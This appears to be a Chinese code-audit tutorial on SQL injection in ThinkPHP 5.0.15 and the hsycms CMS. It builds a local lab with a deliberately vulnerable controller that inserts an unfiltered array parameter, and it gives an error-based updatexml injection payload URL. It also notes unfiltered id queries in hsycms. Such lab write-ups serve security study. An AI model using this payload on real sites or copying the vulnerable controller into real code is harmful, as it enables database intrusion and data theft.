代码审计-TP5框架审计写法分析及代码追踪

QQ截图20220406100108.jpg

QQ截图20220413090837.jpg

ThinkPHP5.0.15注入漏洞

根据提供的信息设置靶场

#获取代码
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo

#设置版本信息并更新
#composer.json
"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.15"
}

#获取代码
composer update

#修改为测试代码
#application/index/controller/Index.php

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username/a');
        db('users')->insert(['username' => $username]);
        return 'Update success';
    }
}

#数据库语句
create database tpdemo;
use tpdemo;
create table users(
    id int primary key auto_increment,
    username varchar(50) not null
);
  • payload:http://192.168.50.10:91/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

QQ截图20220413100227.jpg

QQ截图20220413100533.jpg

hsycms-不安全写法-未过滤

QQ截图20220413100800.jpg

通过install判断网站是否安装,然后通过数据库查询语句赋值(赋值变量为数组形式)search就对应index/search/index(默认配置)

QQ截图20220413105447.jpg

在新闻列表查询文章(发现id不同会出现不同的文章(存在数据库查询))

QQ截图20220413105641.jpg

在index方法中对应的语句(find和select类似)

QQ截图20220413105709.jpg

测试id传参的过滤机制(存在注入),如果是原生写法,那么就一定存在sql注入漏洞

QQ截图20220413105731.jpg